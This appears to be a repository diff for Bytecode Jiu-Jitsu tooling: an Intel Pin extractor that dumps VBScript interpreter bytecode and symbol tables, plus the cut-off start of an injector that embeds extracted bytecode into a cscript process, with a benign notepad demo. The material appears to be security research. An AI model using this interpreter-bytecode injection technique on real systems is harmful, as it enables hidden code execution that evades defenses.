<AdditionalOptions>/export:main %(AdditionalOptions)</AdditionalOptions>
<AdditionalDependencies>pin.lib;xed.lib;pinipc.lib;c++.lib;pincrt.lib;kernel32.lib;crtbeginS.obj</AdditionalDependencies>
<AdditionalLibraryDirectories>..\..\..\intel64\lib;..\..\..\intel64\lib-ext;..\..\..\extras\xed-intel64\lib;..\..\..\intel64\runtime\pincrt;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>NotSet</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<LinkTimeCodeGeneration>
</LinkTimeCodeGeneration>
<EntryPointSymbol>Ptrace_DllMainCRTStartup</EntryPointSymbol>
<BaseAddress>0xC5000000</BaseAddress>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
+97
View File
@@ -0,0 +1,97 @@
# Extractor-BJJ
`Extractor-BJJ` is a tool based on Intel Pin that extracts bytecode and symbol tables for Bytecode Jiu-Jitsu.
## Build
### Setup Visual Studio
1. Download and install Visual Studio
2. Install the following components using Visual Studio Installer
- C++ Clang Compiler for Windows
- MSBuild Support for LLVM (clang-cl) toolset
### Setup Intel Pin
1. Download Intel Pin 3.31 for Windows (LLVM clang-cl) from [here](https://www.intel.com/content/www/us/en/developer/articles/tool/pin-a-binary-instrumentation-tool-downloads.html) or [here (direct link)](https://software.intel.com/sites/landingpage/pintool/downloads/pin-external-3.31-98869-gfa6f126a8-clang-windows.zip)
2. Extract it to the arbitrary directory
### Build Extractor-BJJ
1. Clone this repository
2. Place the Extractor-BJJ directory to `pin-external-3.31-98869-gfa6f126a8-clang-windows\pin-external-3.31-98869-gfa6f126a8-clang-windows\source\tools`
3. Open `Extractor-BJJ.sln`
4. Build Solution
## Test
1. Open Command Prompt
2. Move to the Extractor-BJJ directory
3. Execute `run.bat`
## Tested Environment
|Component|Version|Note|
|-|-|-|
|OS|Windows 11 version 23H2 x64|Built with `en-us_windows_11_consumer_editions_version_23h2_updated_june_2024_x64_dvd_78b33b16.iso`|
|Toolchain|Microsoft Visual Studio 2022 with LLVM clang-cl||
|Framework|Intel Pin 3.31 for Windows (LLVM clang-cl)|
|Target interpreters|VBScript 5.812.10240.16384||
## Preparation
Extractor-BJJ require a `config` file that contain the following information regarding the internal structures of the target interpreter.
- Module name of the target interpreter
- Offset to the interpretation function from the image base
- Argument index in the interpreter function that contains the pointer to the management structure
- Reference offsets required to traverse from the management structure to bytecode, symbol tables, and the virtual program counter (VPC)
```json
{
"interp_module_name": "C:\\Windows\\System32\\vbscript.dll",
"interp_func_offset": 33968,
"management_structure_index": 1,
"bytecode": {
"reference_offsets": [
480
]
},
"symbol_tables": [
{
"type": 2,
"scope": 0,
"reference_offsets": [
496
],
"forward_link_offset": 0
}
],
"vpc": {
"reference_offsets": [
0,
472
]
}
}
```
## Usage
Specify the config file, output file format (JSON/C_HEADER), output file name, and the commandline to execute target script with the interpreter.
```sh
> pin.exe -t Extractor-BJJ.dll -c <config_file> -p <output_file_format[JSON|C_HEADER]> -o <output_file_name> -- <commandline_to_execute_target_script>
```
Example:
```sh
> pin.exe -t Extractor-BJJ.dll -c config.json -p C_HEADER -o payload.h -- cscript.exe test.vbs
```
+24
View File
@@ -0,0 +1,24 @@
#ifndef _EXTRACTOR_BJJ_COMMON_H_
#define _EXTRACTOR_BJJ_COMMON_H_
#include "pin.H"
// #include <spdlog/spdlog.h>
#include <cstring>
#include <iostream>
#include <unordered_map>
#include <vector>
using std::cerr;
using std::cout;
using std::dec;
using std::endl;
using std::hex;
using std::noshowbase;
using std::setfill;
using std::setw;
using std::showbase;
using std::string;
using std::unordered_map;
using std::vector;
#endif // _EXTRACTOR_BJJ_COMMON_H_
+21
View File
@@ -0,0 +1,21 @@
#include "config.h"
void deserialize_config(std::string config_json_string, Config& config) {
auto config_json = json::parse(config_json_string);
config.interp_module_name = config_json.at("interp_module_name").get<std::string>();
config.interp_func_offset = config_json.at("interp_func_offset").get<off_t>();
config.management_structure_index = config_json.at("management_structure_index").get<int>();
config_json.at("bytecode").at("reference_offsets").get_to(config.bytecode.reference_offsets);
config_json.at("vpc").at("reference_offsets").get_to(config.vpc.reference_offsets);
auto symbol_tables = config_json.at("symbol_tables");
for (auto it = symbol_tables.begin(); it != symbol_tables.end(); it++) {
SymbolTableConfig symbol_table_config;
symbol_table_config.type = it->at("type");
symbol_table_config.scope = it->at("scope");
it->at("reference_offsets").get_to(symbol_table_config.reference_offsets);
symbol_table_config.forward_link_offset = it->at("forward_link_offset");
config.symbol_tables.push_back(symbol_table_config);
}
}
+36
View File
@@ -0,0 +1,36 @@
#ifndef _EXTRACTOR_BJJ_CONFIG_H_
#define _EXTRACTOR_BJJ_CONFIG_H_
#include "common.h"
#include <nlohmann/json.hpp>
using json = nlohmann::json;
typedef struct _BytecodeConfig {
std::vector<off_t> reference_offsets;
} BytecodeConfig;
typedef struct _SymbolTableConfig {
UINT8 type;
UINT8 scope;
std::vector<off_t> reference_offsets;
off_t forward_link_offset;
} SymbolTableConfig;
typedef struct _VPCConfig {
std::vector<off_t> reference_offsets;
} VPCConfig;
typedef struct _Config {
std::string interp_module_name;
off_t interp_func_offset;
int management_structure_index;
BytecodeConfig bytecode;
std::vector<SymbolTableConfig> symbol_tables;
VPCConfig vpc;
} Config;
void deserialize_config(std::string config_json_string, Config& config);
#endif // _EXTRACTOR_BJJ_CONFIG_H_
+12
View File
@@ -0,0 +1,12 @@
#include "debug.h"
VOID wait_for_debugger_attach(UINT32 sleep_seconds) {
cout << "[+] Waiting for debugger attach ("
<< dec
<< sleep_seconds
<< " sec sleep) ..." << endl;
WINDOWS:: Sleep(sleep_seconds * 1000);
cout << "[+] Sleep finished.";
}
+14
View File
@@ -0,0 +1,14 @@
#ifndef _EXTRACTOR_BJJ_DEBUG_H_
#define _EXTRACTOR_BJJ_DEBUG_H_
#include "common.h"
namespace WINDOWS
{
#define _WINDOWS_H_PATH_ C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um
// #define _WINDOWS_H_PATH_ ..\..\..\extras\crt\include
#include <Windows.h>
}
VOID wait_for_debugger_attach(UINT32 sleep_seconds);
#endif // _EXTRACTOR_BJJ_DEBUG_H_
+167
View File
@@ -0,0 +1,167 @@
#include "extract.h"
// Function to extract a specific argument as an address
ADDRINT extract_management_structure_addr(CONTEXT *ctxt, ADDRINT *stack_ptr, size_t arg_index) {
bool is_64bit = (sizeof(ADDRINT) == 8);
arg_index--;
if (is_64bit) {
if (arg_index < 4) {
switch (arg_index) {
case 0:
return PIN_GetContextReg(ctxt, REG_RCX);
case 1:
return PIN_GetContextReg(ctxt, REG_RDX);
case 2:
return PIN_GetContextReg(ctxt, REG_R8);
case 3:
return PIN_GetContextReg(ctxt, REG_R9);
default:
break;
}
} else {
return *(stack_ptr + (arg_index - 4));
}
} else {
return *(stack_ptr + arg_index);
}
}
// Function to traverse a structure using offsets
ADDRINT dereference_forward(ADDRINT base_addr, const vector<off_t>& reference_offsets) {
ADDRINT current_addr;
current_addr = base_addr;
for (auto offset : reference_offsets) {
cout << "[+] Current address: "
<< (VOID*)current_addr
<< endl;
cout << "[+] Offset: "
<< showbase
<< hex
<< offset
<< endl;
if (current_addr == 0) {
cerr << "Null pointer encountered during structure traversal." << endl;
return 0;
}
cout << "[+] Next address: "
<< (VOID *)(current_addr + offset)
<< endl;
current_addr = *reinterpret_cast<ADDRINT *>(current_addr + offset);
}
return current_addr;
}
ADDRINT find_bytecode_addr(ADDRINT management_structure_addr, BytecodeConfig config) {
return dereference_forward(management_structure_addr, config.reference_offsets);
}
ADDRINT find_symbol_table_addr(ADDRINT management_structure_addr, SymbolTableConfig config) {
return dereference_forward(management_structure_addr, config.reference_offsets);
}
Bytecode extract_bytecode(ADDRINT management_structure_addr, BytecodeConfig config) {
Bytecode bytecode;
ADDRINT bytecode_addr;
cout << "[+] Finding bytecode cache ..." << endl;
bytecode_addr = find_bytecode_addr(management_structure_addr, config);
bytecode.len = lookup_heap_size(bytecode_addr);
cout << "[+] Found bytecode address: "
<< (VOID*)bytecode_addr
<< endl;
cout << "[+] Found bytecode size: "
<< dec
<< bytecode.len
<< endl;
if (bytecode.len == 0) {
bytecode.len = 0x100;
cout << "[+] Bytecode size is set to 0x100." << endl;
}
bytecode.bytes.resize(bytecode.len);
PIN_SafeCopy(bytecode.bytes.data(), reinterpret_cast<void*>(bytecode_addr), bytecode.len);
bytecode.len = bytecode.bytes.size();
cout << "[+] Extracted bytecode size: "
<< dec
<< bytecode.len
<< endl;
cout << "[+] Extracted bytecode bytes: ";
for (auto i = 0; i < bytecode.len; i++) {
cout << "\\x"
<< hex
<< setw(2)
<< setfill('0')
<< noshowbase
<< (int)bytecode.bytes[i];
}
cout << endl;
return bytecode;
}
ValueObject extract_value_object(ADDRINT value_object_addr) {
ValueObject value_object;
value_object.len = lookup_heap_size(value_object_addr);
cout << "[+] Found value object address: "
<< (VOID*)value_object_addr
<< endl;
cout << "[+] Found symbol table size: "
<< dec
<< value_object.len
<< endl;
if (value_object.len == 0) {
value_object.len = 0x100;
cout << "[+] Symbol table size is set to 0x100." << endl;
}
value_object.bytes.resize(value_object.len);
PIN_SafeCopy(value_object.bytes.data(), reinterpret_cast<void*>(value_object_addr), value_object.len);
value_object.len = value_object.bytes.size();
cout << "[+] Extracted value object size: "
<< dec
<< value_object.len
<< endl;
cout << "[+] Extracted value object bytes: ";
for (auto i = 0; i < value_object.len; i++) {
cout << "\\x"
<< hex
<< setw(2)
<< setfill('0')
<< noshowbase
<< (int)value_object.bytes[i];
}
cout << endl;
return value_object;
}
SymbolTable extract_symbol_table(ADDRINT management_structure_addr, SymbolTableConfig config) {
SymbolTable symbol_table;
ADDRINT symbol_table_addr;
cout << "[+] Finding symbol table ..." << endl;
symbol_table_addr = find_symbol_table_addr(management_structure_addr, config);
symbol_table.scope = kSymbolTableScopeGlobal;
cout << "[+] Found symbol table address: "
<< (VOID*)symbol_table_addr
<< endl;
symbol_table.value_objects.push_back(extract_value_object(symbol_table_addr));
return symbol_table;
}
+15
View File
@@ -0,0 +1,15 @@
#ifndef _EXTRACTOR_BJJ_EXTRACT_H_
#define _EXTRACTOR_BJJ_EXTRACT_H_
#include "common.h"
#include "config.h"
#include "memory.h"
#include "payload.h"
ADDRINT extract_management_structure_addr(CONTEXT *ctxt, ADDRINT *stack_ptr, size_t arg_index);
ADDRINT find_bytecode_addr(ADDRINT management_structure_addr, BytecodeConfig config);
ADDRINT find_symbol_table_addr(ADDRINT management_structure_addr, SymbolTableConfig config);
Bytecode extract_bytecode(ADDRINT management_structure_addr, BytecodeConfig config);
SymbolTable extract_symbol_table(ADDRINT management_structure_addr, SymbolTableConfig config);
#endif // _EXTRACTOR_BJJ_EXTRACT_H_
+208
View File
@@ -0,0 +1,208 @@
#include "handler.h"
extern std::string output_payload_file_name;
extern UINT8 output_payload_file_type;
extern unordered_map<ADDRINT, UINT32> heap_allocations;
extern PIN_MUTEX heap_mutex;
size_t allocated_bytes;
VOID hdlr_interp_func_before(CONTEXT* ctxt, ADDRINT* stack_ptr, Config* config) {
Payload payload;
ADDRINT management_structure_addr;
vector<UINT8> bytecode_bytes;
vector<UINT8> symbol_table_bytes;
cout << "[+] Finding management structure address ..." << endl;
management_structure_addr = extract_management_structure_addr(ctxt, stack_ptr, config->management_structure_index);
cout << "[+] Found management structure address: "
<< (void*)management_structure_addr
<< endl;
payload.bytecode = extract_bytecode(management_structure_addr, config->bytecode);
for (auto it = config->symbol_tables.begin(); it != config->symbol_tables.end(); it++)
payload.symbol_tables.push_back(extract_symbol_table(management_structure_addr, *it));
if (output_payload_file_type == kPayloadFileTypeJson) {
save_payload_to_json(payload, output_payload_file_name);
}
else if (output_payload_file_type == kPayloadFileTypeCHeader) {
save_payload_to_header(payload, output_payload_file_name);
}
// wait_for_debugger_attach(30);
}
VOID hdlr_CoTaskMemAlloc_before(CHAR *name, size_t bytes) {
allocated_bytes = bytes;
}
VOID hdlr_CoTaskMemAlloc_after(CHAR *name, ADDRINT allocated_addr) {
if (allocated_addr) {
PIN_MutexLock(&heap_mutex);
heap_allocations[allocated_addr] = allocated_bytes;
PIN_MutexUnlock(&heap_mutex);
std::cout << "[+] CoTaskMemAlloc called: Address="
<< (VOID *)allocated_addr
<< ", Size="
<< std::dec
<< allocated_bytes << " bytes"
<< std::endl;
} else {
std::cerr << "[+] CoTaksMemAlloc failed for Size="
<< std::dec
<< allocated_bytes << " bytes"
<< std::endl;
}
}
VOID hdlr_GlobalAlloc_before(CHAR *name, size_t bytes) {
allocated_bytes = bytes;
}
VOID hdlr_GlobalAlloc_after(CHAR *name, ADDRINT allocated_addr) {
// TODO: Parse DECLSPEC_ALLOCATOR HGLOBAL
if (allocated_addr) {
PIN_MutexLock(&heap_mutex);
heap_allocations[allocated_addr] = allocated_bytes;
PIN_MutexUnlock(&heap_mutex);
std::cout << "[+] GlobalAlloc called: Address="
<< (VOID *)allocated_addr
<< ", Size="
<< std::dec
<< allocated_bytes << " bytes"
<< std::endl;
} else {
std::cerr << "[+] GlobalAlloc failed for Size="
<< std::dec
<< allocated_bytes << " bytes"
<< std::endl;
}
}
VOID hdlr_LocalAlloc_before(CHAR *name, size_t bytes) {
allocated_bytes = bytes;
}
VOID hdlr_LocalAlloc_after(CHAR *name, ADDRINT allocated_addr) {
// TODO: Parse DECLSPEC_ALLOCATOR HGLOBAL
if (allocated_addr) {
PIN_MutexLock(&heap_mutex);
heap_allocations[allocated_addr] = allocated_bytes;
PIN_MutexUnlock(&heap_mutex);
std::cout << "[+] LocalAlloc called: Address="
<< (VOID *)allocated_addr
<< ", Size="
<< std::dec
<< allocated_bytes << " bytes"
<< std::endl;
} else {
std::cerr << "[+] LocalAlloc failed for Size="
<< std::dec
<< allocated_bytes << " bytes"
<< std::endl;
}
}
VOID hdlr_HeapAlloc_before(CHAR *name, size_t bytes) {
allocated_bytes = bytes;
}
VOID hdlr_HeapAlloc_after(CHAR *name, ADDRINT allocated_addr) {
// TODO: Parse DECLSPEC_ALLOCATOR HGLOBAL
if (allocated_addr) {
PIN_MutexLock(&heap_mutex);
heap_allocations[allocated_addr] = allocated_bytes;
PIN_MutexUnlock(&heap_mutex);
std::cout << "[+] HeapAlloc called: Address="
<< (VOID *)allocated_addr
<< ", Size="
<< std::dec
<< allocated_bytes << " bytes"
<< std::endl;
} else {
std::cerr << "[+] HeapAlloc failed for Size="
<< std::dec
<< allocated_bytes << " bytes"
<< std::endl;
}
}
VOID hdlr_malloc_before(CHAR *name, size_t bytes) {
allocated_bytes = bytes;
}
VOID hdlr_malloc_after(CHAR *name, ADDRINT allocated_addr) {
if (allocated_addr) {
PIN_MutexLock(&heap_mutex);
heap_allocations[allocated_addr] = allocated_bytes;
PIN_MutexUnlock(&heap_mutex);
std::cout << "[+] malloc called: Address="
<< (VOID *)allocated_addr
<< ", Size="
<< std::dec
<< allocated_bytes << " bytes"
<< std::endl;
}
else {
std::cerr << "[+] malloc failed for Size="
<< std::dec
<< allocated_bytes
<< " bytes"
<< std::endl;
}
}
VOID hdlr_operator_new_before(CHAR *name, size_t bytes) {
allocated_bytes = bytes;
}
VOID hdlr_operator_new_after(CHAR *name, ADDRINT allocated_addr) {
if (allocated_addr) {
PIN_MutexLock(&heap_mutex);
heap_allocations[allocated_addr] = allocated_bytes;
PIN_MutexUnlock(&heap_mutex);
std::cout << "[+] operator new called: Address="
<< (VOID *)allocated_addr
<< ", Size="
<< std::dec
<< allocated_bytes << " bytes"
<< std::endl;
}
else {
std::cerr << "[+] operator new failed for Size="
<< std::dec
<< allocated_bytes
<< " bytes"
<< std::endl;
}
}
VOID hdlr_VirtualAlloc_before(CHAR *name, size_t bytes) {
allocated_bytes = bytes;
}
VOID hdlr_VirtualAlloc_after(CHAR *name, ADDRINT allocated_addr) {
if (allocated_addr) {
PIN_MutexLock(&heap_mutex);
heap_allocations[allocated_addr] = allocated_bytes;
PIN_MutexUnlock(&heap_mutex);
std::cout << "[+] VirtualAlloc called: Address="
<< (VOID *)allocated_addr
<< ", Size="
<< std::dec
<< allocated_bytes << " bytes"
<< std::endl;
} else {
std::cerr << "[+] VirtualAlloc failed for Size="
<< std::dec
<< allocated_bytes << " bytes"
<< std::endl;
}
}
+27
View File
@@ -0,0 +1,27 @@
#ifndef _EXTRACTOR_BJJ_HANDLER_H_
#define _EXTRACTOR_BJJ_HANDLER_H_
#include "config.h"
#include "common.h"
#include "debug.h"
#include "extract.h"
#include "output.h"
#include "payload.h"
VOID hdlr_interp_func_before(CONTEXT *ctxt, ADDRINT *stack_ptr, Config *config_in);
VOID hdlr_CoTaskMemAlloc_before(CHAR* name, size_t bytes);
VOID hdlr_CoTaskMemAlloc_after(CHAR* name, ADDRINT allocated_addr);
VOID hdlr_GlobalAlloc_before(CHAR* name, size_t bytes);
VOID hdlr_GlobalAlloc_after(CHAR* name, ADDRINT allocated_addr);
VOID hdlr_LocalAlloc_before(CHAR* name, size_t bytes);
VOID hdlr_LocalAlloc_after(CHAR* name, ADDRINT allocated_addr);
VOID hdlr_HeapAlloc_before(CHAR *name, size_t bytes);
VOID hdlr_HeapAlloc_after(CHAR *name, ADDRINT allocated_addr);
VOID hdlr_malloc_before(CHAR *name, size_t bytes);
VOID hdlr_malloc_after(CHAR *name, ADDRINT allocated_addr);
VOID hdlr_operator_new_before(CHAR* name, size_t bytes);
VOID hdlr_operator_new_after(CHAR* name, ADDRINT allocated_addr);
VOID hdlr_VirtualAlloc_before(CHAR* name, size_t bytes);
VOID hdlr_VirtualAlloc_after(CHAR* name, ADDRINT allocated_addr);
#endif // _EXTRACTOR_BJJ_HANDLER_H_
+26
View File
@@ -0,0 +1,26 @@
#
# Copyright (C) 2004-2013 Intel Corporation.
# SPDX-License-Identifier: MIT
#
##############################################################
#
# DO NOT EDIT THIS FILE!
#
##############################################################
# If the tool is built out of the kit, PIN_ROOT must be specified in the make invocation and point to the kit root.
ifdef PIN_ROOT
CONFIG_ROOT := $(PIN_ROOT)/source/tools/Config
else
CONFIG_ROOT := ../Config
endif
include $(CONFIG_ROOT)/makefile.config
include makefile.rules
include $(TOOLS_ROOT)/Config/makefile.default.rules
##############################################################
#
# DO NOT EDIT THIS FILE!
#
##############################################################
+85
View File
@@ -0,0 +1,85 @@
#
# Copyright (C) 2012-2023 Intel Corporation.
# SPDX-License-Identifier: MIT
#
##############################################################
#
# This file includes all the test targets as well as all the
# non-default build rules and test recipes.
#
##############################################################
##############################################################
#
# Test targets
#
##############################################################
###### Place all generic definitions here ######
# This defines tests which run tools of the same name. This is simply for convenience to avoid
# defining the test name twice (once in TOOL_ROOTS and again in TEST_ROOTS).
# Tests defined here should not be defined in TOOL_ROOTS and TEST_ROOTS.
TEST_TOOL_ROOTS := MyPinTool
# This defines the tests to be run that were not already defined in TEST_TOOL_ROOTS.
TEST_ROOTS :=
# This defines the tools which will be run during the the tests, and were not already defined in
# TEST_TOOL_ROOTS.
TOOL_ROOTS :=
# This defines the static analysis tools which will be run during the the tests. They should not
# be defined in TEST_TOOL_ROOTS. If a test with the same name exists, it should be defined in
# TEST_ROOTS.
# Note: Static analysis tools are in fact executables linked with the Pin Static Analysis Library.
# This library provides a subset of the Pin APIs which allows the tool to perform static analysis
# of an application or dll. Pin itself is not used when this tool runs.
SA_TOOL_ROOTS :=
# This defines all the applications that will be run during the tests.
APP_ROOTS :=
# This defines any additional object files that need to be compiled.
OBJECT_ROOTS :=
# This defines any additional dlls (shared objects), other than the pintools, that need to be compiled.
DLL_ROOTS :=
# This defines any static libraries (archives), that need to be built.
LIB_ROOTS :=
###### Handle exceptions here (OS/arch related) ######
RUNNABLE_TESTS := $(TEST_TOOL_ROOTS) $(TEST_ROOTS)
###### Handle exceptions here (bugs related) ######
###### Define the sanity subset ######
# This defines the list of tests that should run in sanity. It should include all the tests listed in
# TEST_TOOL_ROOTS and TEST_ROOTS excluding only unstable tests.
SANITY_SUBSET := $(TEST_TOOL_ROOTS) $(TEST_ROOTS)
##############################################################
#
# Test recipes
#
##############################################################
# This section contains recipes for tests other than the default.
# See makefile.default.rules for the default test rules.
# All tests in this section should adhere to the naming convention: <testname>.test
##############################################################
#
# Build rules
#
##############################################################
# This section contains the build rules for all binaries that have special build rules.
# See makefile.default.rules for the default build rules.
+31
View File
@@ -0,0 +1,31 @@
#include "memory.h"
extern PIN_MUTEX heap_mutex;
extern unordered_map<ADDRINT, UINT32> heap_allocations;
// Function to lookup size of heap memory
UINT32 lookup_heap_size(ADDRINT target_addr) {
ADDRINT addr;
size_t size;
PIN_MutexLock(&heap_mutex);
auto i = 0;
for (auto heap: heap_allocations) {
std::cout << "Iteration count: " << i++ << std::endl;
addr = heap.first;
size = heap.second;
std::cout << "Address=" << addr << ", Size=" << size << std::endl;
if (addr == target_addr) {
PIN_MutexUnlock(&heap_mutex);
return size;
}
else if (addr < target_addr && target_addr <= addr + size) {
PIN_MutexUnlock(&heap_mutex);
return addr + size - target_addr;
}
}
PIN_MutexUnlock(&heap_mutex);
return 0;
}
+8
View File
@@ -0,0 +1,8 @@
#ifndef _EXTRACTOR_BJJ_MEMORY_H_
#define _EXTRACTOR_BJJ_MEMORY_H_
#include "common.h"
UINT32 lookup_heap_size(ADDRINT addr);
#endif // _EXTRACTOR_BJJ_MEMORY_H_
+58
View File
@@ -0,0 +1,58 @@
#include "output.h"
// Function to save Payload to a JSON file
void save_payload_to_json(const Payload payload, const string& file_name) {
string payload_json_string = serialize_payload(payload);
std::ofstream file(file_name);
if (!file.is_open()) {
std::cerr << "Failed to open file: " << file_name << std::endl;
return;
}
file << payload_json_string;
file.close();
cout << "[+] Payload saved to JSON file: "
<< file_name
<< endl;
}
// Function to save Payload to a C header file
VOID save_payload_to_header(const Payload payload, const string& file_name) {
std::ofstream file(file_name);
if (!file.is_open()) {
std::cerr << "Failed to open file: " << file_name << std::endl;
return;
}
file << "#ifndef PAYLOAD_OUT_H\n";
file << "#define PAYLOAD_OUT_H\n\n";
file << "#include <cstdint>\n\n";
file << "// Bytecode Data\n";
file << "const BYTE bytecode_bytes[] = \"";
for (size_t i = 0; i < payload.bytecode.len; ++i) {
file << "\\x" << std::hex << std::setw(2) << std::setfill('0') << static_cast<int>(payload.bytecode.bytes[i]);
}
file << "\";\n";
file << "const size_t bytecode_len = " << std::dec << payload.bytecode.len << ";\n\n";
file << "// Symbol Table Data\n";
file << "const BYTE symbol_table_bytes[] = \"";
for (size_t i = 0; i < payload.symbol_tables[0].value_objects[0].len; ++i) {
file << "\\x" << std::hex << std::setw(2) << std::setfill('0') << static_cast<int>(payload.symbol_tables[0].value_objects[0].bytes[i]);
}
file << "\";\n";
file << "const size_t symbol_table_len = " << std::dec << payload.symbol_tables[0].value_objects[0].len << ";\n\n";
file << "#endif // PAYLOAD_OUT_H\n";
file.close();
cout << "[+] Payload saved to header file: "
<< file_name
<< endl;
}
+16
View File
@@ -0,0 +1,16 @@
#ifndef _EXTRACTOR_BJJ_OUTPUT_H_
#define _EXTRACTOR_BJJ_OUTPUT_H_
#include "common.h"
#include "config.h"
#include "extract.h"
#include "payload.h"
#include <fstream>
using std::ofstream;
VOID save_payload_to_json(const Payload payload, const string& file_name);
VOID save_payload_to_header(const Payload payload, const string& file_name);
#endif // _EXTRACTOR_BJJ_OUTPUT_H_
+24
View File
@@ -0,0 +1,24 @@
#include "payload.h"
std::string serialize_payload(Payload payload) {
json payload_json;
for (auto i = 0; i < payload.bytecode.len; i++) {
payload_json["bytecode"]["bytes"][i] = payload.bytecode.bytes[i];
}
payload_json["bytecode"]["len"] = payload.bytecode.len;
for (auto i = 0; i < payload.symbol_tables.size(); i++) {
payload_json["symbol_tables"][i]["scope"] = payload.symbol_tables[i].scope;
for (auto j = 0; j < payload.symbol_tables[i].value_objects.size(); j++) {
for (auto k = 0; k < payload.symbol_tables[i].value_objects[j].len; k++) {
payload_json["symbol_tables"][i]["value_objects"][j]["bytes"][k] = payload.symbol_tables[i].value_objects[j].bytes[k];
}
payload_json["symbol_tables"][i]["value_objects"][j]["len"] = payload.symbol_tables[i].value_objects[j].len;
payload_json["symbol_tables"][i]["value_objects"][j]["index"] = payload.symbol_tables[i].value_objects[j].index;
}
}
return payload_json.dump(4);
}
+39
View File
@@ -0,0 +1,39 @@
#ifndef _EXTRACTOR_BJJ_PAYLOAD_H_
#define _EXTRACTOR_BJJ_PAYLOAD_H_
#include "common.h"
#include <nlohmann/json.hpp>
using json = nlohmann::json;
const UINT8 kSymbolTableTypeArray = 0x0;
const UINT8 kSymbolTableTypeLinkedList = 0x1;
const UINT8 kSymbolTableTypeDirect = 0x2;
const UINT8 kSymbolTableScopeGlobal = 0x0;
constexpr UINT8 kPayloadFileTypeJson = 0;
constexpr UINT8 kPayloadFileTypeCHeader = 1;
typedef struct _Bytecode {
std::vector<UINT8> bytes;
size_t len;
} Bytecode;
typedef struct _ValueObject {
std::vector<UINT8> bytes;
size_t len;
UINT64 index;
} ValueObject;
typedef struct _SymbolTable {
UINT8 scope;
std::vector<ValueObject> value_objects;
} SymbolTable;
typedef struct _Payload {
Bytecode bytecode;
std::vector<SymbolTable> symbol_tables;
} Payload;
string serialize_payload(Payload payload);
#endif // _EXTRACTOR_BJJ_PAYLOAD_H_
+1
View File
@@ -0,0 +1 @@
..\..\..\intel64\bin\pin.exe -t x64\Debug\Extractor-BJJ.dll -c test_config.json -p C_HEADER -o test_payload.h -- cscript.exe test.vbs
+3
View File
@@ -0,0 +1,3 @@
Dim Wsh
Set Wsh = CreateObject("WScript.Shell")
Wsh.Run "notepad.exe"
+28
View File
@@ -0,0 +1,28 @@
{
"interp_module_name": "C:\\Windows\\System32\\vbscript.dll",
"interp_func_offset": 33968,
"management_structure_index": 1,
"bytecode": {
"reference_offsets": [
0,
480
]
},
"symbol_tables": [
{
"type": 2,
"scope": 0,
"reference_offsets": [
0,
496
],
"forward_link_offset": 0
}
],
"vpc": {
"reference_offsets": [
0,
472
]
}
}
+31
View File
@@ -0,0 +1,31 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.10.35122.118
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Injector-BJJ", "Injector-BJJ\Injector-BJJ.vcxproj", "{379C4B26-4BD6-46A9-8176-C35817C93C07}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{379C4B26-4BD6-46A9-8176-C35817C93C07}.Debug|x64.ActiveCfg = Debug|x64
{379C4B26-4BD6-46A9-8176-C35817C93C07}.Debug|x64.Build.0 = Debug|x64
{379C4B26-4BD6-46A9-8176-C35817C93C07}.Debug|x86.ActiveCfg = Debug|Win32
{379C4B26-4BD6-46A9-8176-C35817C93C07}.Debug|x86.Build.0 = Debug|Win32
{379C4B26-4BD6-46A9-8176-C35817C93C07}.Release|x64.ActiveCfg = Release|x64
{379C4B26-4BD6-46A9-8176-C35817C93C07}.Release|x64.Build.0 = Release|x64
{379C4B26-4BD6-46A9-8176-C35817C93C07}.Release|x86.ActiveCfg = Release|Win32
{379C4B26-4BD6-46A9-8176-C35817C93C07}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {021647C1-9E8C-4752-A3B1-76428C1D71C1}
EndGlobalSection
EndGlobal
+246
View File
@@ -0,0 +1,246 @@
#include "injector.h"
std::string log_file_name = "";
TCHAR command_line[] = TEXT("cscript.exe target.vbs");
tmpl_NtQueryInformationThread fpNtQueryInformationThread;
tmpl_NtQueryInformationProcess fpNtQueryInformationProcess;
std::ostream* out = NULL;
int main(int argc, char** argv)
{
DWORD ret;
bool result;
STARTUPINFO si;
PROCESS_INFORMATION pi;
std::vector<HANDLE> hThreads;
Config config = {
"C:\\Windows\\System32\\vbscript.dll",
0x84b0,
0,
{ { 0x0, 0x1e0 } },
{ { 2, 0, { 0x0, 0x1f0 }, 0 } },
{ { 0x0, 0x1d8 } }
};
// for notepad.exe
BYTE bytecode_bytes[] = "\x56\x38\x00\x00\x00\x01\x00\x00\x03\x00\x0e\x48\x00\x00\x00\x28\x6c\x00\x00\x00\x01\x00\x1b\x01\x00\x03\x01\x19\x01\x00\x0e\x90\x00\x00\x00\x31\xb0\x00\x00\x00\x01\x00\x02\x01";
